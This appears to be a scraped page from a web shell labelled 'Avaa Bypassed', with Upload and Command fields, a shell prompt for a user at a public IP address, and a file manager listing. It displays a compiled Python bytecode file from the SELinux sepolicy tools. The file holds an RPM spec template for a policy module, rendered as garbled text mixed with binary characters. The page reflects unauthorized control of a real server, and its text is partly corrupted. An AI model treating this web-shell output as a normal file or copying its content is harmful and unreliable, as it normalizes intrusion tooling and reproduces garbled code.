404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.117.230.198: ~ $
3

>�\V�@sdZdZdZdZdZdS)z# vim: sw=4:ts=4:et
a
%define selinux_policyver VERSION

Name:   MODULENAME_selinux
Version:	1.0
Release:	1%{?dist}
Summary:	SELinux policy module for MODULENAME

Group:	System Environment/Base		
License:	GPLv2+	
# This is an example. You will need to change it.
URL:		http://HOSTNAME
Source0:	MODULENAME.pp
Source1:	MODULENAME.if
Source2:	DOMAINNAME_selinux.8
Source3:	DOMAINNAME_u

Requires: policycoreutils, libselinux-utils
Requires(post): selinux-policy-base >= %{selinux_policyver}, policycoreutils
Requires(postun): policycoreutils
alBuildArch: noarch

%description
This package installs and sets up the  SELinux policy security module for MODULENAME.

%install
install -d %{buildroot}%{_datadir}/selinux/packages
install -m 644 %{SOURCE0} %{buildroot}%{_datadir}/selinux/packages
install -d %{buildroot}%{_datadir}/selinux/devel/include/contrib
install -m 644 %{SOURCE1} %{buildroot}%{_datadir}/selinux/devel/include/contrib/
install -d %{buildroot}%{_mandir}/man8/
install -m 644 %{SOURCE2} %{buildroot}%{_mandir}/man8/DOMAINNAME_selinux.8
install -d %{buildroot}/etc/selinux/targeted/contexts/users/
install -m 644 %{SOURCE3} %{buildroot}/etc/selinux/targeted/contexts/users/DOMAINNAME_u

%post
semodule -n -i %{_datadir}/selinux/packages/MODULENAME.pp
if /usr/sbin/selinuxenabled ; then
    /usr/sbin/load_policy
    %relabel_files
    /usr/sbin/semanage user -a -R DOMAINNAME_r DOMAINNAME_u
fi;
exit 0

%postun
if [ $1 -eq 0 ]; then
    semodule -n -r MODULENAME
    if /usr/sbin/selinuxenabled ; then
       /usr/sbin/load_policy
       %relabel_files
       /usr/sbin/semanage user -d DOMAINNAME_u
    fi;
fi;
exit 0

%files
%attr(0600,root,root) %{_datadir}/selinux/packages/MODULENAME.pp
%{_datadir}/selinux/devel/include/contrib/MODULENAME.if
%{_mandir}/man8/DOMAINNAME_selinux.8.*
/etc/selinux/targeted/contexts/users/DOMAINNAME_u

%changelog
* TODAYSDATE YOUR NAME <YOUR@EMAILADDRESS> 1.0-1
- Initial version

z

%define relabel_files() \
zrestorecon -R FILENAME; \
N)Zheader_comment_sectionZbase_sectionZmid_sectionZdefine_relabel_files_beginZdefine_relabel_files_end�rr�/usr/lib/python3.6/spec.py�<module>s0

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 113 B 0644
__init__.cpython-36.pyc File 113 B 0644
boolean.cpython-36.opt-1.pyc File 273 B 0644
boolean.cpython-36.pyc File 273 B 0644
etc_rw.cpython-36.opt-1.pyc File 2.66 KB 0644
etc_rw.cpython-36.pyc File 2.66 KB 0644
executable.cpython-36.opt-1.pyc File 8.66 KB 0644
executable.cpython-36.pyc File 8.66 KB 0644
network.cpython-36.opt-1.pyc File 12.39 KB 0644
network.cpython-36.pyc File 12.39 KB 0644
rw.cpython-36.opt-1.pyc File 2.81 KB 0644
rw.cpython-36.pyc File 2.81 KB 0644
script.cpython-36.opt-1.pyc File 3.27 KB 0644
script.cpython-36.pyc File 3.27 KB 0644
semodule.cpython-36.opt-1.pyc File 405 B 0644
semodule.cpython-36.pyc File 405 B 0644
spec.cpython-36.opt-1.pyc File 2.18 KB 0644
spec.cpython-36.pyc File 2.18 KB 0644
test_module.cpython-36.opt-1.pyc File 2.43 KB 0644
test_module.cpython-36.pyc File 2.43 KB 0644
tmp.cpython-36.opt-1.pyc File 2.5 KB 0644
tmp.cpython-36.pyc File 2.5 KB 0644
unit_file.cpython-36.opt-1.pyc File 1.11 KB 0644
unit_file.cpython-36.pyc File 1.11 KB 0644
user.cpython-36.opt-1.pyc File 3.32 KB 0644
user.cpython-36.pyc File 3.32 KB 0644
var_cache.cpython-36.opt-1.pyc File 2.96 KB 0644
var_cache.cpython-36.pyc File 2.96 KB 0644
var_lib.cpython-36.opt-1.pyc File 3.09 KB 0644
var_lib.cpython-36.pyc File 3.09 KB 0644
var_log.cpython-36.opt-1.pyc File 2.07 KB 0644
var_log.cpython-36.pyc File 2.07 KB 0644
var_run.cpython-36.opt-1.pyc File 1.98 KB 0644
var_run.cpython-36.pyc File 1.98 KB 0644
var_spool.cpython-36.opt-1.pyc File 2.94 KB 0644
var_spool.cpython-36.pyc File 2.94 KB 0644